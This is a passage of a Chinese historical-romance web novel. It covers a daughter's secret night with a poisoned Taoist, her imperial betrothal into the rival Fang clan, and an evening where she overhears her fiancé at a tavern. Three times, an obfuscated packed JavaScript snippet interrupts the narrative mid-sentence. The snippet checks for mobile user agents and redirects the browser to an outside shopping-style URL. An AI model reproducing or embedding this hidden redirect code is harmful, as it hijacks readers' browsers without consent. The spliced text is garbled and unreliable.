早起谋生的贩夫走卒脚步匆匆，不曾留意郑府后院通往厨房的小门推开一线，单薄的人影闪身进了门。 府院里各处门窗紧闭，经过一夜不眠，此刻大多数人尚在沉睡。只有后厨里，一个七八岁的黄毛烧火丫头蹲在灶台旁，揉着惺忪的睡眼，往炉膛里有一下没一下地扔柴枝。 似乎听到什么动静，烧火丫头站起身朝外望了一眼。 什么都没有看见，只有厨房外那株青梅，被春雨浇灌了一夜，弯曲的细枝兀自晃动了一阵，落了一颗果子下来。 丫头伸个懒腰，重新又蹲回了炉灶旁。 郑薜萝提着裙裾，小心翼翼地经过厨房门口。她的步伐还有些虚，踩在水光莹润的鹅卵石小径上，险些一个脚底生滑。好在接下来一路再未遇见任何人，有惊无险地回到了西厢房。 她轻手轻脚地阖上门，门外却突然出现人影，骇了一跳：“……吴妈妈！” 吴妈妈攥住郑薜萝的手，打量她一身的装束：“姑娘，你……这是一夜没睡？去哪儿了？” 郑薜萝摘下头上兜帽，从斗篷里捧出一个荷叶包。 “醒来突然想吃早市街的糯米糕，便去买了——妈妈要不要尝？” 她将那荷叶包朝吴妈妈面前递了递，一股掺杂着桂花香的糯米香气登时扑鼻而来。 吴妈妈暂放下心，怪道：“姑娘要是想吃，等天明了叫婆子去买便是，这个时辰，不叫人跟着便出了门，万一遇上什么歹人，可怎么好！” “知道了，”郑薜萝顺从道，“实在是那家铺子的米糕做得好，每次天不亮出摊，不到卯时便售完了，我也是突然来了馋虫……下次不会啦！” 吴妈妈为着萝姐儿的婚事忧心了一夜，梦里都在长吁短叹，这会看她一切如常，似乎心情还不错，暗自松一口气，便道：“既然馋了，便少吃一块意思意思，别耽误了一会儿朝食。我叫且微进来给姑娘梳头——” “等等。” 吴妈妈脚步一顿，疑惑地回头。 郑薜萝一手揪着斗篷的前襟拢住了，垂眼：“我方才在街上被行进的马车带起的雨水溅到，想先沐浴……” “看看我说的，下次可别再这样了！赶紧把脏了的衣服脱下来，我去洗——”吴妈妈说着，折身回来。 “不用！” 吴妈妈伸出的手停在半空，郑薜萝后退了一步，捏住衣襟的手攥得死紧。 这会看清了，许是醒得太早，姑娘眼下隐隐有淡淡阴影，脸上却不适时宜地起了一抹诡异的酡红。 郑薜萝咬着唇，徐徐退向室内：“妈妈去叫后厨赶紧烧水来吧！我这身上都是泥水，实在难受，我自己脱就好了……” 吴妈妈细细看了她一眼，最后道：“也好，那我叫且微进来伺候——” “也不用了！” 郑薜萝的头从屏风后露出来，讷讷道：“且微是个嘴快的，好妈妈，别叫其他人知道我偷溜出去买米糕了，母亲知道了会罚我的……” “知道了。姑娘放心吧。” 吴妈妈从房里出来，正遇上且微捧着盆要进屋，便将人拦住了。 “怎么了？”且微止住脚步。 “姑娘应当是想一个人待着，别去打扰她吧。” 吴妈妈将视线从紧闭的房门收回，低声嘱咐，“这段时间，多留神主子的状态。姑娘从小就懂事，这一回，只怕为了咱们郑家，她也只会默默忍着委屈……” “可这是姑娘的终身大事啊。” 吴妈妈想起昨夜在书房外听到的谈话，摇头：“这桩婚事，恐怕是没有转圜了。” 且微愣怔着，半晌道：“夫人怎么说？” 在下人们眼中，夫人在家中的地位有时甚至高过老爷。平日李砚卿从不亏待下人，但真正立起规矩来，也是无人忤逆的威严。 郑薜萝出生后不久，母亲便把她留在宣州，自己随丈夫入京赴任，没过几年，郑薜萝又被送到蓁州祖父家，在江南一直养到了九岁。回到玉京这些年，郑远持一直很忙碌，陪伴女儿的时间很少，而李砚卿待她又极是严厉，可算是实打实的“严母”。 吴妈妈看在眼里，有时会暗暗替姑娘委屈。 “……我去给姑娘做碗糖元宵。” “可是，夫人不是不让姑娘吃甜么？”且微愣愣道。 郑薜萝自幼口味喜甜，来到玉京之后，有好一阵不适应当地的饮食，李砚卿从来也没惯着，说甜食多不好，硬是给她改了，就连每次做醪糟圆子，都唯独她那一份不给放糖。 吴妈妈不无心酸地想：遇上那么大的事，姑娘唯一的发泄，也只是早上偷溜出去，买些糯米糕来化解而已。 “无妨，也做不了多久郑家的姑娘了……” …… 窗外人压低声音，对话还是隐约飘进郑薜萝耳朵里。她坐在热气氤氲的木桶中，闭了闭眼。 已经尝试发泄过了，用最离经叛道的方式。 虽然努力克制，但那些疯狂而旖旎的画面仍然不受控地钻进头脑。 她与那神秘道长颠鸾倒凤，记不清纠缠了几个回合，从起初的生涩抗拒，到后来沉溺其中全然失控。 此刻回想起来，对方应当是中了什么毒，而她误入他的领地，才会一同中招。只不过她中毒的剂量很浅，男人进入之后，药性更被磨人的疼痛化去了不少。 那道长一举一动全凭中毒后激发的生理本能，而她则不然。她明明可以推开、逃走，却在放纵自己，只当一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024503|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切是场绮梦，清醒地沉沦。 虽然早知婚姻是“父母之命，媒妁之言”，却没想到自己的亲事，会让父母如斯为难。 郑薜萝掬起一捧水，看着水滴从指缝中一滴滴落下。 她忽而想起“红拂夜奔”的故事，风流潇洒的红拂女勇敢追逐自由，找寻真爱。 真爱……她既非果敢风流的红拂女，而对方，亦绝无可能是英雄伟岸值得托付的李将军。甚至她都不知那人是谁。只是害怕被安排的未知，而匆匆踏入一场疯狂。 她摇了摇头，将这荒诞的幻想甩出去。水滴顺着额发滑落腮边，无声坠进浴桶里。 - 花厅里。一家人齐聚一堂。 郑远持在主位就座，只有李砚卿左手的一个位置空着。 因主人晚归，今日朝食比平常晚了半个时辰。常日里郑薜萝一向会提前布置好碗筷，等着父母，今日却是最后一个到的。 三丫头绵韵只有四岁，等得饿了实在耐不住，小肉手朝着桌上的一盘樱桃毕罗伸了过去。方姨娘打了下绵韵的手，她又憋憋地缩了回去。孩子虽小，却能察觉今日气氛不同，小嘴一扁，终是没敢哭出来。 “父亲母亲恕罪，阿萝来晚了。” 郑远持看向出现在门外的女儿，语气温和：“无妨，来坐下吃饭。” 早餐正式开始，除了偶尔碗盏的碰撞，一时不闻其它声音。 “阿萝。”郑远持突然出声，一桌人安静下来。 郑薜萝不紧不慢地放下手中的筷子，端正坐好。 她微凉的目光莫名让郑远持想起曾经看过的关在囚车里等待宣判的犯人，让人心头沉甸甸的。 郑远持移开视线：“圣人昨日在朝上，关心起了你的婚事，给你指了婚，对方是尚书左丞房速崇的独子，房遂宁。” “房家？！”方姨娘不禁讶然，“怎会是他……” 郑薜萝离席起身，整了整衣裙，以头顿地，庄重地面朝东方行下大礼。 “臣女郑薜萝谢主隆恩。” 李砚卿的视线停在女儿弓起的后背，唇线紧抿。 郑薜萝直起身子，朝着父亲微微一笑：“女儿要嫁人了，父亲怎么好像不开心？” “……自古女儿出嫁，做父亲的难免都要舍不得，你父亲又怎可能免俗？”李砚卿开口。 郑薜萝坐回自己的位置，平声道：“母亲说得是。” 旁边的方姨娘从桌子下面伸过手来，握住她冰凉的手。郑薜萝转脸，朝姨娘笑了笑。 房郑两家一向势同水火，圣人却做主让两家结亲，薜萝嫁过去是何境遇，方花实难免为大姐儿担忧。 “长姊要嫁人了么？那房家哥哥是什么人？状元郎？还是大将军？”弟弟郑成帷嘴里塞得满满，一边好奇地问。 郑薜萝拿起帕子，去给郑成帷擦嘴，微笑着道：“成帷喜欢什么样的？” “我喜欢大将军！状元郎嘛……也可以——阿姊喜欢什么样的？” 没人有心思去听孩子的童言无忌，然而所有人都将目光投向郑薜萝，似乎也想知道她的答案。 “阿姊……都喜欢。” 郑薜萝看向父亲：“素闻清河房氏乃矜贵世家，地胄清高，门风检肃，女儿嫁入房家，是再好没有的去处，父亲不必舍不得女儿。” “……你能看开便好。”郑远持心头微酸，声音哑了几分。 “父亲说的什么话？女儿如何看不开？那房遂宁既出身房氏，定也是瑶林琼树一般的人物，女儿还有什么不满意的？” 郑远持沉默。 “父亲今日不去上朝么？”郑薜萝语气轻松地问。 李砚卿道：“这场婚事乃是皇帝钦赐，朝廷仪制、吉凶五礼，都需按照礼部的规矩来，过一会礼部官员会登门，为两家合婚取八字、归卜于庙，你父亲需在家等候。” “这么快啊。” “这是圣人的旨意，无人敢怠慢。按照计划，傍晚时分，房家的人应当也会上门了。” 5. 第5章 这一日，永宁坊的郑府车马盈门，道贺的同僚陆续登门，络绎不绝。 傍晚时分，铜锣开道，鼓乐齐鸣，丞相府的仪仗穿过大半个玉京城，浩浩荡荡地抵达了郑府门前，占满了整条罗甸街，更显得低调的郑府正门无比局促。 虽然此前朝廷有令，禁止婚姻操办过于铺张，更严令天下嫁女受财，三品以上之家，不得过绢三百匹，然而房氏在各方各面，都昭示着对这一桩婚事的高度重视。今日房家递交婚书，下聘礼，几乎是全族出动。 除了准新郎房遂宁未曾出面以外。 房家给出的说法是：房遂宁身为刑部郎中，有紧要案件在查，实在无法抽身，改日亲自登门，向岳丈大人谢罪。 房家的婚书倒是辞藻华丽，颇具名门之风： 「清河房氏家主顿首。阕叙既久，倾瞩良深。房氏第十四代嫡孙遂宁，未有伉俪，伏承户部侍郎郑远持之长女薜萝，令淑有闻，愿托高媛……」 郑远持捏着婚书，几乎把一口牙咬碎。 婚书已经交换，他冷着脸收下聘礼，一旁观礼的礼部官员见状，笑着上来圆场。 “恭喜郑侍郎，八字已经合过，令爱与丞相大人家的公子日柱相合，乃月书赤绳之缘，来日必是鸳俦凤侣啊！” 郑远持挤出笑容，还了一礼：“请问大人，婚期定在何时？” 礼仪官：“礼部已经择了两个吉祥的日子，一个在三月初六，另一个是九月初八，重阳的前一日。因为圣人赐婚，还需报中宫定夺……不过离三月初六也只剩不到一个月了，婚仪要筹备起来还是略显仓促，大概率还是会在九月。” “明白了。多谢大人。” 还有约莫半年时间，郑远持难看的神色总算稍有放松。 客人络绎离开时，天已向晚，下人引着一个中年妇人进了花厅，拜见郑远持夫妇。那妇人身材微胖，一脸福相，衣饰用料也颇为讲究。 “是秦嬷嬷吧？” 妇人点点头，朝着主人行礼：“老奴拜见郑侍郎、郑夫人。” 郑薜萝嫁入房氏，作为房家第十四代嫡孙正妻，来日要执掌中馈。这秦嬷嬷是夫人裴敏身边的掌事嬷嬷，算是房府里最高级别的女使，此番特地遣来郑府，便是要在接下来这段备婚期间，向准新妇传授房氏家规，以及夫妻礼节。 “且微，给秦嬷嬷奉茶。” 秦嬷嬷笑着道：“夫人不必客气，老身受主子之托，这些日子要叨扰府上了。” 李砚卿道：“哪里的话。只是夫君为官清俭，敝府条件简陋，难免怠慢嬷嬷。” 秦嬷嬷看了郑远持一眼，抿唇：“夫人太谦了。都说江南水土养人，姑娘身为郑氏嫡长女，自小有金玉之丰，富贵逼人……” 郑远持眼眸微眯，目光冷冷回视。 这种明褒暗贬的语气不难分辨，只是这些年他青云直上，刺耳的话便听得越来越少了。对方言下之意，郑氏商贾出身，不足以与官族蝉联、世多卿相的房氏相提并论。 不过是一个房家的下人，竟也敢在他面前如此僭越放肆。 李砚卿清了清嗓子：“萝儿虽是郑氏嫡长女，但自小不在老爷与我身边，礼仪规矩上怕是和玉京的世家贵女们难比，有劳秦嬷嬷费心。” 一番话虽是自谦，然自从将郑薜萝接到玉京，李砚卿便以祖辈的规矩对女儿严格教养，诗书礼乐、德行操守，她俱以最高的标准要求女儿，近乎严苛。 秦嬷嬷心中微凛。亲家母乃是宗亲出身，不敢得罪，忙笑道：“姑娘有敬王爷这样功勋累身的祖辈，教养定是错不得的，来日必与咱们桡哥儿相敬如宾，也能如夫人一般，成为夫君助力。” 李砚卿但笑不语。转头朝郑远持看了一眼，是请示的意思，只见他一只手撑在膝上，似是倦极，只摆摆手，让她做主。 “今日天色已晚，东次间已经收拾出来，请秦嬷嬷安置。明日开始，便有劳嬷嬷。” … 纵然在高门内院掌事多年的秦嬷嬷眼中，郑家这位准新妇也是挑不出什么错处的。 一言一行，端方有礼，更有几分江南女儿的温柔。难得的是，总是一副宠辱不惊的姿态，这一点气质，倒是玉京贵女中鲜见的。 毕竟她们自小养在内宅，见多了争斗，也不乏宅斗的好手。 秦嬷嬷开始逐渐觉得，家里的那位准新郎，或许才更让人头疼。 少郎君虽然遗传了来自父母的好样貌，然而除此之外，以“郞婿”的标准，实则乏善可陈。这些年在刑部，背地里人家都唤他阎罗，镇日带着一队凶神恶煞的手下，不是出入各种场合抓捕犯人，便是定罪监刑问斩……此等画风，纵使肩负清河房氏的光环，也只能让待嫁闺中的小娘子敬而远之。 这不，房家都上门提亲了，少郎君这会儿还不知在哪儿呢。 她望着郑薜萝臻首低垂，专心制茶的样子，不无侥幸地想，等新妇娶进门，桡哥儿总得常回家了吧？ “嬷嬷。” 秦嬷嬷猛然回神。矮几对面，郑薜萝将一只玉色茶盏推了过来：“按照您的方子，茶煮好了，请嬷嬷品鉴。” 面前的茶汤颜色若玉璧，香气馥郁。秦嬷嬷将茶盏端了起来，抿了一口。 “姜粉多了些，略辛辣……”她笑了声，“也是巧了，倒是桡哥儿的口味。” 郑薜萝垂眼，唇角微勾，落在秦嬷嬷眼里，端的是烟视媚行。 “那接下来，我们学什么？” 秦嬷嬷看了一眼郑薜萝身后，后者意会，微微侧过头：“且微，你先出去吧。” 房门轻阖，秦嬷嬷将一本蓝皮册子放在郑薜萝的面前。 册子薄薄一本，封面半个字也无。郑薜萝以为是房氏家谱一类的文书记载，没有多想，便翻开了。 只见扉页上画着一片雾气氤氲的水面，水边伫立着一男一女，正相互依偎。 上方古体字写着：素女经。 她微怔，抬眼看向秦嬷嬷。 “夫妇之道，王化所先；婚姻之礼，人伦攸尚1。为妇人者，绵延子嗣乃一大重则，这素女经中所载，乃夫妻敦伦，阴阳和谐之道，望姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024504|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘研读之余，好好体会。” 郑薜萝的视线落在扉页上的那对男女人像，信手翻了翻这册子。册子不厚，除去图画，文字更是寥寥几语。 脑中登时闪过电光火石的画面，咽口一时发干。她移开视线，刻意将那些强行涌入的记忆驱逐出去。 秦嬷嬷打量她反应，平声道：“这是女子嫁做人妇的必经一步，姑娘不必羞涩。老身也是过来人，当年夫人嫁入房府，也是老身随侍左右……此间只有你我，姑娘先略看一看，倘若有任何不解之处，也可问——” “我确有一问。”郑薜萝将册子阖上，看向对面。 见她如此直接，秦嬷嬷略有意外：“姑娘请讲。” “敢问此书，是只有我学，还是房家郎君也要学？” 秦嬷嬷举到唇边的茶盏一晃，泼了些水出来，面色有些尴尬。 虽然大祈民风开放，类似避火图这样的东西在民间并不新鲜，不少人认同“及时行乐”，甚至闺阁女子与情郎偷尝禁果也是常事；而宫闱后院之中，亦有少妇们共同研读素女经，私密的房中话题偶尔也会成为贵妇们的谈资。 只是郑家长女一向为人低调，鲜少出席玉京豪门贵妇之间的聚会，秦嬷嬷也没有想到她看上去娴静内敛，谈及这个话题，竟毫无半点忸怩之色。 她沉吟一会，语气隐晦：“房/中之术，实则是你来我往，既然要阴阳和谐，确不是一方努力便够的……” 摸了摸鼻子，接着又道，“不过，我们郎君毕竟年长姑娘五岁，于此事上也当是——” 郑薜萝纤眉微抬。 言下之意，他们少郎君业已加冠，如今不少大家子弟成年后便有房里的丫鬟贴身伺候，想必房遂宁于男女之事或许也是有所历练？ 秦嬷嬷看郑薜萝神情，半猜到她在揣测什么，忙道：“姑娘莫要误会，郎君曾受道箓，一向洁身自好，况且他……” 话说了一半，外面突然有人叩门。她着急忙慌地便站起身来。 “秦嬷嬷，打扰了。”吴妈妈从门外进来，见秦嬷嬷脸色，微觉奇怪。 “不打扰，吴妈妈什么事？” “宁安公主来找姑娘。轿子在外面候着。” 秦嬷嬷闻言忙道：“既是公主传召，那姑娘这便快去吧！” 郑薜萝端坐案后，一时却没急着动，迟疑地看着她：“那，今日的功课？” “嗨呀，姑娘天资聪慧，这些东西哪里用费那么多心思？快去吧，莫让公主久等！” 吴妈妈又对秦嬷嬷道：“贵府也来人要找您，现在角门上。说是——表小姐房里的人。” 秦嬷嬷面色一变，连忙站起身来。 “表小姐也真是，怎么还找来这里了……”她嘀咕着，向郑薜萝笑着道，“老奴去一趟，姑娘自便。” 刚迈出门，又扭身回来，嘱咐道，“姑娘好好休息，备婚期间，最重要的是心情愉悦，不要太过紧张了！” 郑薜萝从案后起身，向着秦嬷嬷屈膝行了一礼。 “多谢提点。嬷嬷慢走。” 6. 第 6 章 马车一路向西，进了平康里。郑薜萝从车上下来，在访仙阙的门口站定。 访仙阙是玉京最繁华的酒楼，临水而建，背面便是玉带河。楼如其名，金殿玉阙如仙人居所，窗牗檐柱皆用料精贵，奢华非常。 已近黄昏，日渐西沉，酒楼门前矗立的一整面高大的木质幕墙上，数百盏高悬的灯笼已经点亮，随风微微摇晃，将楼前照得如同白昼。 且微啧嘴：“早就听闻这访仙阙大名，来此地消遣的客人非富即贵——看看这送往迎来，莺燕盈门的热闹景象……” 她压低声音，在郑薜萝耳边道，“好像隔壁便是教坊司，这里可多得是风流公子一夜豪掷千金的传说呢。” 郑薜萝淡淡看了且微一眼，且微立时收敛了好奇的神色，搀着她走上台阶。 一个梳双鬟的婢女迎上来，笑着道：“姑娘快请，公主已经在楼上等了。” 三人迈进酒楼大门，穿过衣衫鬓影的济济人流，径直上了顶楼。引路的婢女在把头临角落的一间包厢前停下，轻轻推开门。 “总算来了！” 郑薜萝迈步进门，摘下头上幂篱，对着宁安公主行了一礼：“参见公主。” “薜萝，坐！” 宁安公主李慧语穿一身洒金石榴裙，广袖流仙，靠坐窗边，面前的案上摆满了美酒佳肴。 郑薜萝在公主身边落座，问：“今日城里怎得如此热闹？难道没有宵禁？” “你看看，我就知道，你定然是被关在家里关傻了呢！马上就要上巳节了啊！” 郑薜萝恍然，转过身凭栏而望。 残阳如血，曲折的玉带河边，男男女女提着灯笼，人影幢幢，悠扬曲乐声从河面上隐约飘至耳边。 “哼，今日这访仙阙生意倒好，隔壁最大的包厢不知被谁占了，给本宫挤到这角落里来，不过这窗外就是玉带河，景色尚算不错，就不和他们计较了！” 宁安公主的母亲乃是窦淑妃，从小颇为受宠，自及笄便出宫立府，只是毕竟身为皇家儿女，行动上不能太过自由，更何况尚未出阁，出入这样人多眼杂的地方，也只能掩藏身份，低调行事。 “难得今日能出来玩，不必费心找借口，我刚从西山别院泡完温泉回来……” 公主捏起手边的琉璃酒杯，仰头喝下一口蒲桃酒，绛红色的酒液从嘴角漏了一滴下来，她毫不在意地举起袖子擦了擦嘴。 “我今日才刚听说，父王给你和房遂宁指婚了——感觉如何？”宁安公主用充满同情的眼神看郑薜萝。 郑薜萝倒是神色淡淡：“公主觉得，臣女还能感觉如何？” “呵呵，要说那房遂宁，本宫倒和他有些缘分——曾有那好事的牵线搭桥说要让他做我的驸马，还真的让司天台去算过八字，后来也不了了之……房家少郎君啊，若不看他为人处世，光看皮囊，倒也还……” 公主心直口快，说到这里才觉得不对，硬生生停住了。 郑薜萝神色平静，端起茶杯抿了一口。公主见状叹口气：“你比我还小一岁，这么早就订了婚，将来陪我玩的又少了一个！” “公主难道还缺玩伴么？臣女有何值得公主念念不忘。” “你很好啊！”宁安认真地看着她，“你不过是话少了些，比那些表面娇滴滴，动辄对男人曲意逢迎，假惺惺的女子可强多了，哼，偏偏男人都是耳朵根软的，就吃这一套！” 且微站在后面，心中不免偷笑：这宁安公主果然如传言中，和她母亲窦淑妃如出一辙，都是快人快语、有仇必报的性子。 房遂宁未能尚公主，背后原因也未必都是其脾性的原因。阖宫内外皆知，窦淑妃最看不惯的，便是房遂宁的姨母裴贵妃。 如今后宫嫔妃之中，除了皇后郭氏，便属裴贵妃最受皇帝宠爱。贵妃裴镜出身河东裴氏，与房遂宁的母亲裴夫人是亲生姐妹。裴贵妃出身高贵，性情柔顺，尤工情调，颇受皇帝宠爱。 裴镜入宫比窦淑妃晚，如今的阶位却已经越过她，协助郭皇后掌后宫诸务，窦淑妃母女自然对其颇为看不惯。 郑薜萝大概知道这几位娘娘之间的官司，只淡淡道：“若寻常女子入不了公主的眼，不如去找寰王殿下？二殿下宠爱公主您这个妹妹，定然乐于陪您。” 公主嘟囔：“皇兄对我自然是好的，可他如今也很忙，除了出征打仗，便是和大臣议事，哪里有时间陪我玩耍……” 二皇子李宥同为窦淑妃所出，自小便在行军打仗上展示出过人的天赋，成年后曾率大军数度征讨夷狄，立下赫赫战功，及冠岁便受封骠骑将军，封寰王。 与之相比，裴贵妃所出的四皇子裕王李初自小体弱，成年后整日不务正业，只醉心于游访名山大川，结识些文人骚客，或是风流女冠。儿子的成器，或许也是唯一让窦淑妃觉得胜过裴贵妃的地方了。 郑薜萝见宁安公主神色落寞，也跟着沉默下来。心中只道帝王家女儿其实也不容易，除了养尊处优，实则自由少得可怜，比之她好不到哪儿去。 宁安摆了摆手：“算了，不说这些扫兴的——来人，我们要听曲！” 移门推开，一个抱着琵琶的琴姬迈进门来，落座厅中。琴姬稍稍调了调琴弦，便问：“请问各位贵客，要听什么曲？” “就听你们这儿客人点的最多的曲子。”公主捻起一片鹿脯，放进嘴里嚼着。 琴姬有些犹豫：“听得最多的……大都是男宾点的一些……” “无妨，就听听时下玉京城的公子哥儿们都好什么！是不是？”公主冲郑薜萝眨了眨眼。 郑薜萝勾唇，朝踌躇着的琴姬点点头。那琴姬稍稍定心，清了清嗓子，便开口唱了起来： “月牙儿弯弯照西楼， 金簪儿绾发作茧囚。 红烛儿烧尽五更泪， 怎及得野塘边，草叶尖， 那滴溜溜的露水珠儿， 趁着天未晓，自在游…… 婚书儿叠叠锁雕奁， 盟誓儿沉沉压心头。 说甚么天长与地久， 露水情缘不须愁， 晨光一散各西东， 清风明月自在游……” 琴姬媚眼如丝飘向客人席位，浑然忘了座上是两位女宾。公主已然有些微醺，丝毫未觉这段歌颂露水情缘的唱词有何不妥，也开始跟着曲调哼唱着。 郑薜萝听得出了神。 那边，琴姬歌声婉转，唱得益发动情： “说甚么天长与地久， 露水情缘不须愁……” 当是时，旁边的包厢里忽然响起一个男声：“稀客稀客！今日居然把你请出山来了！——殿下，看来还是您的面子大，哈哈哈！” 宁安公主将手一抬，琴姬停了下来。 “下去吧。” 琴姬抱着琴退了出去。只听隔壁另一道矜贵十足的声音带着倜傥笑意：“哪里是我的面子大，明明是他在躲人。” “不好，是四皇兄！” 公主立时便听出来，这声音是四皇子李初的。心中登时懊悔，早该想到的，今夜的访仙阙能把她挤到角落包厢的人，自然不会是什么简单的人物。 郑薜萝握了握她的手：“他们在明，我们在暗，公主不必担心。” 公主点点头。也是，大家都是偷溜出来玩的，就算被发现，谁也告不了谁的状。 再说裕王李初一向行事恣意，自己都胡闹惯了，也不会像自己的兄长李宥那样来操心她。 这么一想，公主镇静了不少，又给自己斟了杯酒。 裕王与她们所在的包厢只隔了一道薄薄的板壁，此刻安静下来，隔壁的动静便听得一清二楚。 一道脚步声从外面进了屋，衣袖摩挲间，男人清冽的声音响起。 “荪桡参见殿下。” 郑薜萝心头没来由地一跳。 “竟然有意外之喜，偶遇你的未婚夫！”公主抓住她的胳膊摇晃了两下。 裕王不紧不慢地道：“今日这样的场合，别拘着了，免礼免礼！表弟快过来坐——蔡给事，你也是，低调些，别给本王惹麻烦！”随即响起斟酒的涓涓细流声。 宁安公主冷笑了一声：“我当是谁，原来是蔡溪。” 郑薜萝也听说过蔡溪。郑远持任国子监司业时，此人做过他的下属。写得一笔好文章，与不少文人都有结交，是个有才的，因为态度懒散，后来被调去了弘文馆作勘校。郑远持曾感叹过，蔡家小子，只可惜一身才华，却是个不求上进的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024505|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那边厢蔡溪兴奋地大声道：“今日佳节，便请殿下举杯，恭贺荪桡兄将迎娶佳人，顺便也让下官沾沾喜气，哈哈哈！” 裕王也道：“是啊，本王早就听说，郑侍郎家的嫡长女养在江南，气质温婉，只可惜一向低调，从未见过……” “气质温婉否未可知。商人重利，多有狡黠市侩之徒倒是真的。” 房遂宁话音落地，隔壁几人陷入沉默。 宁安面露不忿，看了眼郑薜萝，忍住了没说话。 那一头裕王打破沉默：“荪桡，你和那郑薜萝此前曾见过？” “不曾。” “那你为何这么说？”裕王扬了扬眉毛。 蔡溪聒噪道：“殿下还不知道他么，他就是气不顺，脾气只怕比阴沟里的石头还要臭！——这人啊，怕是眼里没有女人，只有案子！难怪都说他是孤寡之命……” 裕王不以为然：“什么孤寡之命，那都是有心之人拿来污蔑房家的，司天台可是算出他与那郑氏女‘日柱相合，月书赤绳之缘’的！” 蔡溪忍不住道：“殿下，这些判词，难道不是礼部为了迎合这桩婚事编出来的么？” 郑薜萝无意识勾了勾唇。蔡溪这话倒是实在。 “怎可能？”裕王语气认真，“司天台观测天象卜测吉凶，顺应的只有天意，是不能拿来开玩笑的，否则，荪桡早就做了我李家的驸马了……” “好吧……”蔡溪吐了吐舌头，又好奇道，“荪桡，说句实话，你对女人感兴趣么？” 没有听见回答。 “你笑什么笑？说真的，殿下，我就没看过他和女人打过交道！坊间传说他七杀命格，其实我都没怎么当真，不过我一直有个猜测，没敢当面向你求证……” 蔡溪顿了一会，似在斟酌是否要问，裕王嫌他磨叽：“求证什么？？你倒是说啊！” “那我就说了。房兄，你，是不是喜欢男人啊？” “噗——” 宁安一个没忍住，含在嘴里的酒喷了出来。郑薜萝默默将手中帕子递了过去。 公主拿起帕子擦嘴：“这个蔡溪，简直离谱……” “也说不定呢。”郑薜萝轻声道。 宁安瞪圆了眼睛看向她。她还真有些佩服她，这等气度，要嫁的丈夫疑似好男风，居然还能如此淡定，跟个没事人一般！ 那边，离谱的蔡溪又有了新主意：“今日天时地利，倘若荪桡你真的不好男风，咱们叫几个姑娘来，趁着兄弟你尚是自由之身，今夜就玩他个通宵，如何？！” 裕王笑道：“你可别逗他了，他那么个好洁成癖的人，怎么可能陪你胡闹。” 谁料房遂宁一语惊众人：“倒也无不可。” “房兄当真？？好好好！今日果然好日子，房兄破天荒要开荤了，果然要做人夫就是不一样哈哈哈……”蔡溪兴奋不已，忙着便要喊人。 房遂宁道：“我听说鸣珂曲里，最有名的歌伎便是夜来？” 蔡溪有些意外：“啊，是啊！夜来善晓音律，妙攻弦歌，一度是鸣珂曲的花魁，没想到连房兄都听过她的花名……” “听说这个夜来最近都不怎么出来接客，不知你出面能否请得动她？” 宁安实在听不下去，鼻孔里出气哼了一声。 那边厢蔡溪为难起来：“兄弟你有所不知，那国子监的卢序槐对夜来颇为用心，为了她连夫人都不顾，传言他准备为夜来赎身，接她出鸣珂曲。现在除了罗祭酒，旁的客人夜来已经不太接了……” “那真是可惜了。”隔着一层板壁，房遂宁遗憾的语气十分清晰。 宁安撇了撇嘴：“可算叫我看清了，这个房遂宁，什么冷淡自持生人勿近都是假象，实则和那些臭男人一样，满脑子都是些龌龊心思！还好没叫他做我的驸马……” 她意识到失言，去看郑薜萝。而她神色依旧淡淡，看不出什么情绪。 “不过，至少说明，房遂宁他不喜欢男人。”公主拍拍她的肩膀，找到个自以为能安慰的理由。 屋中的熏炉香气氤氲，郑薜萝觉得有些热，下意识扯了扯帔帛。 宁安公主视线定住，忽然发现了什么了不得的事情，指着她的脖颈。 “哎——你这里怎么回事？” 7. 第 7 章 郑薜萝匆忙拢了拢帔帛，盖住领口。 公主只觉可疑，一把将她的额帔帛重又扯开。只见白皙如玉的肌肤上，遍布星星点点的红痕，犹如白雪之上盛放的红梅。 “……可能是风疹吧。”郑薜萝伸出手盖在那片红痕上，更显得欲盖弥彰。 “啧啧，”宁安眼中闪过暧昧笑意，“你可知你这脖子上的痕迹，像什么么？” 她虽出生宫闱之中，实则于男女之事上颇为放浪形骸，纵然未出嫁，公主府中养着的伶人小倌却是不少——这样的痕迹，她自然熟悉。 郑薜萝两腮渐红，一时无言以对。 公主看着她这副鹌鹑样子，更想要逗她，凑上前压低声道：“嗳，上回给你看的那本册子，还记得么？” “……” 正这时，隔壁忽传来女子尖锐呼声。房遂宁沉冷的声音随即响起：“滚远些。” 公主立时松开抓着郑薜萝的手，二人对视一眼，都安静下来。 隔壁沉默了半晌，蔡溪干笑出声：“嗳，沁娘也是看房兄你一个人喝酒太干巴，好心陪你嘛，哪有下手这么狠的，当人家是你的犯人呢……啧啧，一点都不怜香惜玉！” 